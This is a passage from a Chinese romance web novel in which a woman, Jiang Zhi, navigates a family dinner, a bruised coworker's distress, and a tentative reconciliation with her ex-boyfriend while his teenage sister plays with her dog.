池听雨绝望地仰头叹气,“恋爱脑去死啊。”
她这个状态一直维持到江稚到场,包间门开启的瞬间,两位妈妈默契地停下争辩,暗自决定通过观察再决定下一句话要说什么。
理性短暂地回归。
两家孩子接下来如何互动,很大程度上决定了今天这顿饭是哪种氛围。
池知舟起身去迎,收获了两位妈妈的微笑,两位父亲的点头,以及来自妹妹的白眼。
江稚低头摘下围巾,搭在手上,顺带着脱下外套,池知舟尤为顺手地接了过去挂去衣架上。
因为对方伸手来的动作太过自然,江稚甚至都没反应过来是不是哪里不对劲,后知后觉道了句谢。
池知舟笑道:“客气。”
“丫丫最近是不是瘦啦。”顾清宁热络地开口。
但凡长辈关心,总是以这句话开头,不论孩子究竟是个什么状态,总归落到爹妈眼里都得掉点肉,是某种约定俗成的见面开场白。
但顾清宁女士附带了私心,“都怪小舟没有好好照顾你,阿姨批评他。”
池知舟引着江稚往里走,从善如流地接话:“是怪我。”
“哪能怪你。”陈韵如女士立马说,“丫丫总嚷着要减肥,在家劝她多吃两口都不乐意,我家这丫头难管的哟。”
池听雨疑惑地望着她们——刚才是这个画风吗?
两位爸爸则是暗松一口气,很好,开始走撮合剧本了,令人安心。
“两位妈妈太官方啦。”江稚笑着举起手里的纸袋,“先看看礼物?”
江稚给买的是外国土地爵位,其实面积不大,拢共也就几个平米,但仪式感特别强,是一款讨欢喜能力MAX的礼物。
几位长辈什么风雨没经历过,更何况顾阿姨如今生活顺遂,衣服首饰是不缺的,皮肤管理也根据不同的季度在变换方案,与其送一些常规礼物,不如送一份开心来得重要。
“这个好玩!”顾清宁爱不释手地拿着那张带花体字的证书,美滋滋地说,“以后我就是Lady了,多威风啊。”
顾女士开心之余,不忘转头朝自己老公说:“你看看,你送我礼物都没这么贴心。”
池沅霖不语,笑着点头就对了。
“阿姨,这个还要配合一个APP。”江稚帮顾清宁下载好软件,操作给她看,“您可以随时看到您这块地的天气和实景。”
“哎呀这么高级!”顾清宁更开心了。
江稚余光瞥见陈韵如在笑,故意说:“我家妈妈有没有吃醋呀?”
“这孩子。”陈韵如被逗乐了,高兴地说,“你还拿我打趣啊?”
于是江稚又跟一阵小旋风似的绕了过去,从纸袋里拿出个礼盒,“给您也带了礼物呢,爸爸和叔叔也有。”
不能压寿星的风光,也不能在聚会的时候空手见长辈,江稚带了伴手礼,主打一个谁都不白来。
大家都高兴。
除了池听雨,她一扭头,看见自己亲哥笑得很不值钱,颇为怒其不争。小姑娘嘴里压了一堆说出来就会冷场的话,但她抠了抠手办的包装盒,又悄悄瞄了一眼妈妈。
妈妈是真的很高兴,于是池听雨把话咽了下去,等江稚坐下来才故意嘀咕:“就知道讨好卖乖。”
音量控制得很精准。
“怎么了?焉头巴脑的?”江稚全当没听见,打量了这小姑娘一眼,问,“我还多买了两个舒芙蕾,要吗?”
“不要。”池听雨斩钉截铁,“我讨厌你。”
“我也讨厌你。”江稚拉开纸袋给她看,“草莓和芒果。”
“芒果。”池听雨说,“我还是讨厌你。”
“喏。”江稚把勺子递给她,“讨厌着吧。”
池听雨闷闷地接过去,把甜品纸袋压在手办盒子上。
顾清宁一直都笑眯眯地观察着江稚,自然能发现所有人都拿到了礼物,除了自己儿子。
她不方便问,于是给好友递了个眼神。
经历短暂的对峙,两位妈妈在愉悦的氛围中重新变成默契的好朋友。
陈韵如状似好奇地问:“丫丫,你给小舟带了什么呀?”
“他没有。”江稚调整了一下面前并不歪的餐具,然后抬起杯子喝了口水。
池知舟低头笑了一下,对陈韵如说:“阿姨,我还在实习。”
江稚差点被水呛到,转头去看罪魁祸首。
你知道是什么实习吗?转头就说出来了?
陈韵如和江明德对视一眼,彼此都有些莫名。
顾清宁问:“什么实习啊?妈妈怎么不知道。”
“我也不知道,但我会加油的。”池知舟说得轻描淡写,“丫丫说了算。”
池听雨打开舒芙蕾的盒子,挑起眉毛,无声且夸张地模仿了一遍这句话。
江稚隔着做鬼脸的小姑娘去看池知舟,对方也恰好望过来。
一个对视短暂得好像是偷来的一样,江稚错开视线,摸上餐具,觉得今天的汤匙有点烫手。
看他俩这样,爹妈们都懂了——年轻人的世界。
于是谁都不再追问,一顿饭吃得很圆满。
分开后江稚和池知舟各自送爸妈回去。
“丫丫,你和小舟和好了吗?”陈韵如等了一晚上终于逮到机会问出这句话。
“没有。”江稚回答。
“那你们现在是……”陈韵如不明白了,饭桌上看小舟一直都在照顾自家女儿,女儿也没抗拒啊。
“我俩……”江稚抿了抿嘴,想着这段时间她和池知舟的互动方式,最终给了妈妈一个模棱两可的回答。
“我们现在是偷窃关系。”
*
“偷窃关系?”周嘉悦笑得趴去桌上,“你是真讲得出口。”
江稚想起当时在后视镜里看到陈韵如女士的那个表情,自己也忍不住想笑。
自从和池知舟说了不许再折腾,对方居然真的安静下来,偶尔打视频来问问奶糖的现状,没有再提过要把奶糖接回去的事。
她想了想,对好友补充说:“反正,挺好的吧。”
周嘉月:“找面镜子照照吧。”
江稚:“照什么?”
“亲爱的,我看你现在春风满面啊,看来复合之日近在咫尺。”
难得一次,江稚没有反驳,周嘉月“哼”了一声,撇头远离身边这个散发恋爱酸臭的人,哀声道:“我好想男人啊,杨国福,卫龙,鲍师父,实在不成,康师傅也行啊。”
江稚哈哈大笑,“大馋丫头,你是只进油盐啊。”
好友两人一言一语,笑闹起来,又一次被从天而降的文件夹打断。
熟悉的S家香水,熟悉的精致妆容,许悦冷漠地下达命令:“改好以后发给我。”
塑料硬壳摔到桌上的声音尤其清脆,并着掀起一阵风。
江稚皱眉看了眼被吹得移位的摆件,脸上笑意也退了大半。
“你可以尝试直接和我说话,我听得见,而且,现在是午休。”
江稚习惯于与人为乐,但并不代表她毫无脾气,准确些来说,某些事情总归影响不大,非要追究还会败坏心情,所以之前从未严肃表态。
午休时间本就不长,但许悦总是挑这个时间过来,不客气不寒暄,摔下文件夹就走。
起初,江稚以为这是她性格使然,但次数多了,难免显得刻意,既然选择在这个时间说开,江稚也准备好或许要和许悦争辩几句。
周嘉月已经站起身了,“尊重人会不会?”
江稚坐在椅子上,抬头看许悦。
有点奇怪,办公室里还开着空调,二十三度,但许悦依然裹着一条围巾,大概她自己都觉得热,围巾外延被拽松了一个角。
如果站着平视看不到,但江稚这会仰头看能从下面的视角看到许悦脖子上有青紫。
许悦察觉到江稚的视线,匆忙拢了拢围巾,生硬地又说一遍:“改了发我。”
“莫名其妙。”周嘉月瞪着她离开的背影,尤不解气,把那册文件拎起来又摔了一次,“她是不是羡慕我俩的友谊啊,总是打断我们恩爱。”
江稚已经顾不上回应了。
她想起上次许悦手背的瘀痕,还有这次脖子上的。手背尚且生活中容易伤到,脖子可不会。
江稚心里揪了一下,从柜子里拿出上次没来得及拿出来的药酒,起身追了过去。
许悦听见脚步声回头,看到是江稚,面上一闪而过的慌乱骗不了人,
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她张嘴想说什么,但江稚已经拽着她的手腕把人拉去了旁边的楼梯间。
“脖子上那么多淋巴结,伤到了是闹着玩的?”江稚严肃地伸出手,把药酒递过去。
成年人的世界里有太多太多难言之隐,很多时候不刨根问底就是温柔和善良。
但既然瞧见了,江稚就没法装作不知道,“我不问你怎么了,但是你不上药不行。”
没想到许悦一反常态,不知这个举动或是这句话触动了她哪根弦,总之她反应剧烈,撞鬼一样惊恐地推开江稚的手。
力道大得出奇,江稚手背因此砸去了楼梯的金属扶手上。好在她下意识地攥着药酒,这才没把东西摔了。
“抱……抱歉。”许悦抖着声问,“疼吗?”
“疼啊。”江稚疼得吸气,眨了眨眼,把疼出来的泪花眨回去。
等缓过劲儿了,她才缓缓转身,看向许悦。
许悦像是在等待审判的犯人一样,对视都不敢,她浑身紧绷,下巴不受控制地颤抖。这幅样子,实在很难和平日里那个凌厉冷漠的人对上号。
江稚就这么静静地看了她片刻,然后伸出那只刚才撞到的手。
手背已经泛红,肿起的红痕边缘围着不正常的白。
许悦垂头看着,眼睛都不敢眨。
“你看。”江稚轻声说,“我这么疼,都没伤成你上次那样。”
她实在难以想象许悦承受过什么样的伤害。
许悦缓慢地眨了眨眼,抬起脸,好像没听明白这句话。
江稚先道歉:“是我突兀了,你当我多管闲事吧。”
许悦还是没说话,像个程序失灵的人偶,就盯着人看。
江稚叹了口气,拉过许悦的手,把药酒放去她手心,温声说:“这是我爸的独家秘方,我从小走路就不看脚下,到现在都经常磕着碰着,很管用的,涂之前热敷一下。”
她知道自己再待下去,只会让人更局促,于是笑了一下,越过人去准备拉开门离开。
“谢。”
很沙哑的一个音节。
江稚回头,见许悦红着眼,张了张嘴,终于找回声音,“谢谢你。”
“不用谢。”江稚弯着眼笑起来,“我也只是个普通人,如果你觉得我有什么能帮到你的,可以来找我开口。”
……
“上哪去了?”周嘉月滑着椅子过来,“你别是和许悦打了一架吧?”
江稚本来还在想着刚才许悦那表情,无端地被周嘉月这句话戳到了笑点,“姐们儿,我在你眼里那么彪悍?”
周嘉月从江稚的零食小箱里迅速摸走一包卫龙,嘴甜地夸人,“我们江稚是全世界最伟大的零食之神!”
好友再次笑闹起来,以至于江稚发现池知舟的消息都是好几分钟后了。
【实习前夫】:今天你下班早吗?我有点事。
江稚一下子都没弄明白这句话的语言逻辑,于是高冷地回复:有事说事。
【实习前夫】:如果你下班早的话,可以帮我取个快递吗?在你家楼下。
【JZ】:你的快递为什么在我家楼下?
【实习前夫】:[企鹅鞠躬求求]
*
池听雨把自己摔进了江稚的车后座,一言不发。
小姑娘脸色很不好看,叛逆和烦躁都挂在脸上,呼吸之间尽是闷闷不乐,好似全世界都欠她一个说法。
江稚看她这样就忍不住笑,“脸这么臭,像是要打劫。”
池听雨小嘴抹了蜜,“劫也不劫你这个穷鬼。”
“真无情啊,坐着穷鬼的车还说这种话。”江稚扶着方向盘偏头看车后面。
池听雨烦死江稚了,习惯性地翻了个白眼,目光扫过江稚的手背,顿了一下。
“江稚,你手被狗啃了?”
江稚:“没大没小的喊谁呢?”
往日被揍的阴影笼罩心头,池听雨瘪了瘪嘴决定大人有大量不再还嘴,索性把手机拿出来刷,没一会收到了亲哥的消息。
【恋爱脑】:见到你江姐姐了吗?
池听雨噼里啪啦地打了一串字:她是你姐姐,是你全家的姐姐。
打完,她又看了眼江稚的手背,坏水就此涌上心头。
不幸沦为亲哥争宠工具的池听雨决定:谁都不要好过。
她回复:见到了,她手断了,开心吗?
15. 刻意
池听雨连续挂了三个电话,心满意足地抬头,觉得世界美好了一些,连带着看江稚都顺眼许多。
“喂,你和我哥真分手了?”
江稚早习惯这小丫头语气带刺,但也不惯着,“你一个快递,就少说话。”
池听雨不解:“什么快递?”
江稚笑了一下,话已至此,不需多言,留她慢慢思考。
要说起来,学习这事儿真是玄乎,和智商的确有关系,却也关系不大。
池听雨不笨,就是没耐心也不乐意学,活像个弹簧,逼得越紧反弹得越厉害,满腔聪明劲儿憋不住,要是跟她聊番剧电影,一聊一个透彻,感悟角色之余,甚至还能上升到哲学高度。
江稚知道这姑娘聪明,所以想起她被亲哥报补习班这事就忍不住想笑。
绝对没有嘲讽的意味,只是因为这件事单纯地好笑。
池听雨可听不得她愉悦,“笑什么笑,我告诉你,我是被迫的。”
她恨不得向全世界控诉这里有一个家庭不尊重未成年人的意愿。
“知道知道。”江稚饶有兴致地回答,“全世界都逼你。”
池听雨琢磨这不是什么好话,手机又震了一下,她再次挂断。
“你哥电话?”
“关你屁事。”
……
池听雨紧绷的情绪在看到奶糖那一刻彻底瓦解。
因为得到了太多爱意,所以在小狗的世界里所有人类都好,哪怕这只是初次见面,奶糖也热情地送上快乐。
小姑娘蹲身下去,张开手,也不晓得可以去摸这个摇头晃脑的小金毛哪里。
这会的背影就显得有点笨了。
江稚把包挂去门口衣架上,顺带着扯了下池听雨的书包带子,示意她抬手,后者沉迷于吸狗,稀里糊涂地也就趁着这个力道抬起手臂。
“没想到你居然真的喜欢小动物。”池听雨揉着油光水滑的奶糖绒毛如此感慨。
“我在你的语言里活得十恶不赦。”江稚回敬,然后把池听雨的书包拎去客厅,绕去厨房洗了手,出来低头看手机消息,解锁那一瞬,池知舟的电话打了进来。
她没有第一时间接起来,下意识瞥了眼坐玄关不肯挪动的池听雨,最后按了绿色按键。
“你妹妹在我这,不想我撕票就快点打钱过来。”
池知舟在电话那头松了口气,“你没事吧?”
江稚歪了歪头,“我能有什么事?”
“那就好。”池知舟反应过来,然后开始告状,“池听雨不接我电话。”
居然听起来还委屈巴巴的,让不知内情的人听了去,还当他真是被妹妹欺负狠了。
“扔了吧。”江稚建议。
池知舟说:“改天找个黄道吉日就丢掉。”
江稚不由笑出声,靠在沙发上闲谈起来:“她现在跟奶糖玩着呢。”
“之前跟她说起过奶糖。”池知舟那边声音乱了一阵,听着是有人在打招呼道别,他回应完身边的人继续跟江稚说,“那会她还说我玩物丧志。”
“你家这小刺猬看见奶糖都走不动道儿。”江稚实时传达现场画面。
池听雨耳朵可灵,闻言瞪过来。
江稚也瞪回去,继续说:“还是会刺人。”
“喂,我听得见!”池听雨出声警告,“别当面说坏话。”
江稚“哼”了一声,对电话里的池知舟说:“听见没,你妹教训我呢。”
池听雨简直听不下去,皱脸低头。
“这么不听话。”池知舟当即表态,“那我一定要去你家当面教训她。”
说得真像那么回事儿,至于具体想干嘛,彼此都清楚。
“话都让你说了。”江稚把手机夹在肩膀和脑袋之间,瞟了眼小姑娘没穿外套,把空调打开又往上调了两度,接着弯腰下去翻茶几抽屉里的药箱。
整个过程池知舟都没说话,静静地听她这边的动静。
江稚没找到处理淤青的东西——毕竟人才搬进来不到一个月。
于是思维接着发散:她为什么住这来着?哦,分手了。
“那什么,前夫哥。”江稚说,“你要一会来拿快递,给我顺一瓶云南白药吧。”
“受伤了?”
“小伤,磕了一下。”江稚把抽屉推回茶几。
池知舟默了一会,说:“下次可以不用加称呼。”
……
“你去吗?”江稚甩着奶糖的狗链,出于礼貌问了一嘴。
“去啊,我要检查你是怎么养我哥的狗的。”池听雨从进门到现在就没离开过玄关,只要不写作业,干什么都行。
江稚都不想戳破她这点小心思,只纠正说:“再讲一遍,奶糖是我的狗。”
池听雨已读不回。
两人在小区溜达了两圈,路上甚至遇见了几个奶糖的好朋友,小狗们欢欢喜喜地打着招呼,江稚看了都感慨。
她作为业主,搬来这么些天都不认识几个邻居,到头来,奶糖的人脉比她广。
又瞥见身边小丫头一直盯着自己手里的狗绳,目光极其渴望,嘴巴却闭得很紧。
江稚哂笑道:“想牵奶糖?”
池听雨扭头去看风景,“不想。”
“我只问一遍。”
池听雨立刻抢过狗绳,甚至还有模有样地在手上绕了几圈,不忘交代奶糖说:“要贴着姐姐的脚边走哦。”
“几岁啊这么幼稚?”江稚笑开了,获得一个白眼。
兴许是狗绳外交当真发挥了作用,池听雨居然也愿意在散步这空档和江稚说起小时候的事儿,不是被打那件。
“你当时,我就觉得你贼变态,不是个会喜欢小动物的。”
江稚被这形容词砸的有些愣怔,脚步一停,问:“我是搞出了什么腥风血雨的事儿,能荣获你这么一个评价。”
池听雨细细道来,小学的时候孩子之间都兴养小仓鼠,再加上模糊的概念认知,很容易把同一科或是名字相似的动物认错。
彼时池家还住在家属小院,管道系统都特别老,偶尔从下水道钻出只老鼠最正常不过,何况是他们家一楼。
那天江稚才放学回家,就听顾阿姨在屋子里惊声尖叫,原来是家里进了老鼠。
顾清宁吓得爬凳子,池听雨还兴冲冲地想要观察小动物。
江稚绕回自己家拿来老鼠药,池听雨抱着自己的仓鼠笼子说问:“江姐姐,我的小鼠鼠也可以吃吗?”<
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p>“可以呀。”江稚当年最是个调皮捣蛋的,很是慈祥地揉揉小丫头的脑袋,“吃了它就不会再生病了。”
但也只是说说,没真的做什么。可之后池听雨看见爸爸回来拎走那几只老鼠,后知后觉地意识到什么,赶紧用纸板给仓鼠笼裁了小城堡,忧心不已且极其谨慎地对哥哥说:“江姐姐是坏蛋。”
被路过的江稚听见,两人一对视,孩子吓得撒丫子往家跑,鞋都跑掉了一只。
后来根据不可靠消息得知:当晚池听雨还做噩梦了。
“总之,你给我造成了很大的心理阴影。”池听雨紧紧拽着奶糖的绳子,着重表示,“心理阴影,我记你一辈子。”
江稚:“……你就说解决没解决你家的老鼠。”
池听雨不回答。
江稚:“多少有点恩将仇报了。”
池听雨这份同情心泛滥持续时间太短,看到池知舟拎过来的螃蟹之后就土崩瓦解。
江稚:“现在不可怜它了?”
池听雨自有道理:“它长这么肥,不好好吃,对不起它。”
江稚收拾完客厅这边准备过去吃饭,人才起来,又被不轻不重的力道拽了回去。
“我看看?”池知舟把江稚手腕抬到面前。
“小伤,晚点我洗完澡再处理。”江稚抽出手。
但这一次池知舟没有松力,垂眼盯着那块皮肤,原本真没怎么伤着,结果这会被关心着,以至于江稚居然真的感觉到了丝丝针刺疼痛。
疼还不算,居然开始发热,害得脉搏明显起来。
池知舟抬眼看她,“擦药?”
虽然是在询问,但手却暗自用力把那截手腕又拉过去些。
江稚错开视线,很小声地提醒:“我们还分着手,你没——”
“我没权利照顾你。”池知舟很自然地接上了话,学着很小声地建议,“先赊一次帐。”
无赖么这不是。
江稚手指蜷了蜷,“快点。”
这段距离近得有些危险了,草木味道清凉微涩,被皮肤和指尖烘着开始剥离那些隐晦又不安的情绪,以至于冷静的余额几近告罄。
厨房那边,池听雨叮叮咚咚地摆弄着螃蟹,奶糖热情地在她脚边打转,用小狗特有的舞步祈求降落人类食物,锅上还腾着几只肥螃蟹,锅盖不时被热气掀得撞出动静,出气口漏出姜丝的辛香。
时钟像是在此刻停了秒,赠予这片空间感知快乐的能力,以至于身处其中也被感染了浪漫因子,无端地有些幸福。
“还疼吗?”他轻声发问。
“疼吧。”她茫然回答。
池知舟不语,掀起眼,似笑非笑。
江稚反应过来自己答了个什么东西,张张嘴想更改答案,也不晓得说什么适合,以至于这个预演开口的动作显得这一隅的氛围越发不清不楚。
“等药水干。”池知舟轻轻揉着,原本撑着江稚手心那两根手指却缓慢滑动,移向了脉搏处,牵动一阵痒。
不知天高地厚的小偷在丈量心意。
大胆。
江稚捕捉到这个动作,不确定地责备道:“你有些刻意了。”
池知舟喉间滚过一丝笑意,轻声恳求:“别戳穿我。”